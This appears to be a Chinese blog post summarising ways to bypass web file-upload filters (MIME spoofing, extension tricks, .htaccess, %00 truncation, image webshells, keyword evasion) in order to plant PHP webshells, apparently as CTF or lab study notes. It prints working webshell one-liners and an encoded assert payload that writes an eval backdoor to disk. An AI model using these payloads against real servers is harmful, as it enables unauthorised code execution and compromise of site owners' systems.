文件上传思路总结

当遇到js前端脚本限制上传文件类型

  1. 使用浏览器插件。删除检测文件后缀的JS代码,然后上传webshell

  2. 在前端js判断函数中加上可以上传php文件,或者直接删去这一函数
    在这里插入图片描述

  3. 首先把webshell的后缀改成允许上传的.jpg|.png|.gif,绕过JS检测。再抓包把后缀名改成.php,即可上传webshell
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述

当服务器检测上传文件的MIME类型即媒体类型时

在这里插入图片描述

当上传PHP文件时,抓包发现Content-Type字段是application/x-php
在这里插入图片描述
这时只要修改为其他值即可
在这里插入图片描述

文件头校验

每一种文件的文件头部都不一样,当服务器检测上传文件的文件头时,可以在文件内容中手动加入特定的头部信息。

GIF89a<?php phpinfo(); ?>

后端设置了后缀名黑名单

在这里插入图片描述

文件解析漏洞

当上传脚本限制了.asp,.aspx,.php,.jsp时,而服务器存在php文件解析漏洞
在这里插入图片描述
通过上传 .phtml .phps .php5 .pht后缀的文件绕过黑名单

在这里插入图片描述

htaccess文件

对于可以上传htacesss文件的页面,可以先上传一个包含SetHandler application/x-httpd-php的htaccess文件
在这里插入图片描述
htaccess文件:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

原理:他没有过滤 .htaccess后缀,我们可以构建一个htaccess配置文件,让所有格式文件都解析为php,然后再上传图片马(只要后缀是允许的,随便都可以)就会被解析了。

大小写绕过

在这里插入图片描述

在这里插入图片描述

加空格绕过

在这里插入图片描述

加点绕过

windows会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过

在这里插入图片描述

::$DATA绕过

在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
在这里插入图片描述

点加空格加点绕过

当脚本将文件末尾的点删除时可以加2个点,中间加一个空格
在这里插入图片描述

双写绕过

当文件后缀被替换为空时,可以尝试双写绕过
在这里插入图片描述

后端设置了后缀名白名单

在这里插入图片描述

当只能上传图片文件时,可以使用图片马

在这里插入图片描述
在这里插入图片描述

当上传文件被改名时

使用%00截断保存路径内容
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
在这里插入图片描述
当保存路径可以在url里面get方式提交时,我们可以手动修改他
看一下源码
在这里插入图片描述
可以看到img-path的处理,看到这是将上传文件改名为一个随机数加后缀的文件,即原来upload/1,php经过处理后变成upload/3452544.php。只要我们在get请求中制定文件名并将后面的内容截断,就可以绕过改名,即upload/1.php%00经过脚本处理后upload/1.php

在这里插入图片描述

二次渲染图片马突破

当图片被上传到服务器上时,图片会被重新渲染,其中的php语句会被过滤掉

GIF渲染绕过

首先拿原始图片和从服务器上下载的图片做对比
在这里插入图片描述
在没有被修改的地方插入php语句
在这里插入图片描述
上传修改后的gif图片,可以看到加了php语句的图片和原来的图片不一样了,说明经过渲染后php语句还在。
在这里插入图片描述
尝试包含文件访问。
在这里插入图片描述

JPG渲染绕过

方法和GIF一样

PNG渲染绕过

PNG 要麻烦一点,PNG需要在特定的地方修改,还需要重新计算CRC值,而且不是每一张图片都可以。

文件内容检查

利用文件包含木马

前提条件:服务器只检验文件后缀为asp/php/jsp的文件内容是否为木马。
先上传一个内容为木马的其他后缀名文件,因为后缀名所以不会被检查内容,然后上传一个php文件,内容为一个包含语句。

避开<?php语句

当服务器检测文件内容,并过滤掉php起始标记时
在这里插入图片描述

使用<script>替换php脚本起始语句
在这里插入图片描述
在这里插入图片描述
题目地址:http://123.206.31.85:49166/index.php?file=upload.php

避开eval()关键字

  1. 可以使用GET代替eval。

    <?php @$_GET[a]($_POST[b]);?>
    

    原理是在访问时给a传eval,那么就相当于页面请求了<?php @eval($_POST[b]);?>

    http://ip/1.php?a=eval
    
    再隐蔽一点,将eval进行base64编码。
    http://ip/1.php?a=base64_decode(ZXZhbAo=)
    
    

    这里复现失败,按照官方文档,eval不支持这样的用法

避开POST关键字

使用GET代替POST

<?php $_GET[a]($_GET[b]);?>

构造特殊请求

?a=assert&b=${fputs(fopen("c.php",w),"<?php @eval($_POST[c]); ?>")};

同样可以编码一下
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4))};

执行后当前目录生成c.php 一句话木马(页面报错但是还是成功新建了文件)
在这里插入图片描述
在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值